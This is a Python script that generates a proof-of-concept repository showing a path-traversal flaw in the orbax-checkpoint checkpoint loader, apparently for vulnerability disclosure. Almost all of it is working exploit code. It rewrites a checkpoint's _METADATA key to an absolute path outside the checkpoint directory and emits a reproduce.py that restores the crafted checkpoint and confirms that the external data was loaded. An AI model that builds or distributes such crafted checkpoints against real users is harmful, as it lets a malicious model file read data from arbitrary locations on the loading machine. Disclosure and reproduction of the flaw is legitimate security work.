from pathlib import Path
import json
import shutil

import numpy as np
import orbax.checkpoint as ocp

from orbax.checkpoint._src.handlers import (
    pytree_checkpoint_handler as pch,
)

output = Path("hf_orbax_poc").resolve()
build = Path("hf_orbax_poc_build").resolve()

for path in [
    output,
    build,
]:
    if path.exists():
        shutil.rmtree(path)

output.mkdir(parents=True)
build.mkdir(parents=True)

baseline = build / "baseline"
outside_source = build / "outside_source"

malicious = output / "malicious_checkpoint"
controlled_outside = output / "controlled_outside"

outside_container_path = (
    "/tmp/orbax-controlled-outside"
)


def save_non_ocdbt_checkpoint(path, step):
    tree = {
        "params": {
            "weight": np.arange(
                6,
                dtype=np.float32,
            ).reshape(2, 3),
            "bias": np.zeros(
                3,
                dtype=np.float32,
            ),
        },
        "step": step,
    }

    handler = pch.PyTreeCheckpointHandler(
        use_ocdbt=False,
    )

    checkpointer = ocp.Checkpointer(
        handler,
    )

    try:
        checkpointer.save(
            path,
            args=pch.PyTreeSaveArgs(
                item=tree,
            ),
        )

    finally:
        checkpointer.close()


print("creating baseline checkpoint")

save_non_ocdbt_checkpoint(
    baseline,
    step=1,
)

print("creating controlled external checkpoint")

save_non_ocdbt_checkpoint(
    outside_source,
    step=424242,
)

shutil.copytree(
    baseline,
    malicious,
)

shutil.copytree(
    outside_source / "step",
    controlled_outside,
)

shutil.rmtree(
    malicious / "step",
)

metadata_path = malicious / "_METADATA"

metadata = json.loads(
    metadata_path.read_text(
        encoding="utf-8",
    )
)

tree_metadata = metadata["tree_metadata"]

entry = tree_metadata.pop(
    "('step',)"
)

entry["key_metadata"][0]["key"] = (
    outside_container_path
)

tree_metadata[
    repr(
        (
            outside_container_path,
        )
    )
] = entry

metadata_path.write_text(
    json.dumps(
        metadata,
        ensure_ascii=False,
        indent=2,
        sort_keys=True,
    )
    + "\n",
    encoding="utf-8",
)

requirements = """orbax-checkpoint==0.12.0
numpy
"""

(output / "requirements.txt").write_text(
    requirements,
    encoding="utf-8",
)

reproduce = r'''from importlib.metadata import version
from pathlib import Path
import shutil

import orbax.checkpoint as ocp
import tensorstore as ts

root = Path(__file__).resolve().parent

malicious = root / "malicious_checkpoint"
controlled_source = root / "controlled_outside"
controlled_target = Path(
    "/tmp/orbax-controlled-outside"
)

if controlled_target.exists():
    shutil.rmtree(
        controlled_target,
    )

shutil.copytree(
    controlled_source,
    controlled_target,
)

print(
    "orbax-checkpoint version:",
    version("orbax-checkpoint"),
)

print(
    "malicious checkpoint:",
    malicious,
)

print(
    "controlled external directory:",
    controlled_target,
)

print(
    "internal step directory exists:",
    (malicious / "step").exists(),
)

original_open = ts.open


def traced_open(spec, *args, **kwargs):
    try:
        normalized = (
            spec
            if isinstance(spec, dict)
            else spec.to_json()
        )

    except Exception:
        normalized = {}

    if isinstance(normalized, dict):
        kvstore = normalized.get(
            "kvstore"
        )

        if isinstance(kvstore, dict):
            path = kvstore.get(
                "path"
            )

            if path is not None:
                print(
                    "tensorstore path:",
                    path,
                )

    return original_open(
        spec,
        *args,
        **kwargs,
    )


ts.open = traced_open

checkpointer = ocp.StandardCheckpointer()

try:
    restored = checkpointer.restore(
        malicious,
    )

finally:
    checkpointer.close()

external_key = (
    controlled_target.as_posix()
)

loaded_value = restored[
    external_key
]

print()
print("restored keys:", list(restored.keys()))
print("external key:", external_key)
print("external value:", loaded_value)

assert not (malicious / "step").exists()
assert controlled_target.exists()
assert int(loaded_value) == 424242

print()
print("POC SUCCESS")
print(
    "External Zarr data outside the "
    "checkpoint directory was loaded."
)
'''

(output / "reproduce.py").write_text(
    reproduce,
    encoding="utf-8",
)

print()
print("PoC repository created:", output)
print()
print("malicious internal step exists:", (
    malicious / "step"
).exists())
print("controlled external Zarr exists:", (
    controlled_outside
).exists())